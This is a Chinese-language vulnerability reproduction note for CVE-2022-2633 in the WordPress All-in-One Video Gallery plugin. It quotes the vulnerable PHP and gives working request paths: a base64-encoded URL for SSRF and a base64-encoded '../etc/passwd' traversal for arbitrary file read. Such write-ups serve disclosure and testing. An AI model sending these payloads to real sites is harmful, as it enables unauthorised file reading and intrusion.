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64 lines
1.7 KiB
Markdown
64 lines
1.7 KiB
Markdown
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# WordPress All-in-One Video Gallery video.php 任意文件读取漏洞 CVE-2022-2633
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## 漏洞描述
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WordPress All-in-One Video 插件 Gallery video.php文件中存在SSRF以及任意文件读取漏洞，攻击者通过发送特定的请求包读取任意文件
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## 漏洞影响
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```
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WordPress All-in-One Video Gallery <= 2.6.0
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```
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## 插件名称
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```
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All-in-One Video Gallery
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```
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https://downloads.wordpress.org/plugin/all-in-one-video-gallery.2.6.0.zip
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## 漏洞复现
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对比漏洞修复的文件找到出现漏洞的文件 wp-content/plugins/all-in-one-video-gallery/public/video.php
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这里接收 dl 参数，dl 参数不为 数字类型时，参数将 base64 解码传入
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```
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if ( is_numeric( $_GET['dl'] ) ) {
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$file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
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} else {
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$file = base64_decode( $_GET['dl'] );
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}
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if ( empty( $file ) ) {
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die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );
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exit;
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}
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```
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当传入的参数中不存在 http:// 或 https:// 时，参数 $formatted_path 的值改变
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当 $formatted_path 为 url 时存在 SSRF漏洞，传入 base64编码 的目标URL就可以得到回显
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```
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/index.php/video/?dl=aHR0cHM6Ly93d3cuYmFpZHUuY29t
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```
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看向代码最后的片段，则存在任意文件读取漏洞
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```
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/index.php/video/?dl=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
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```
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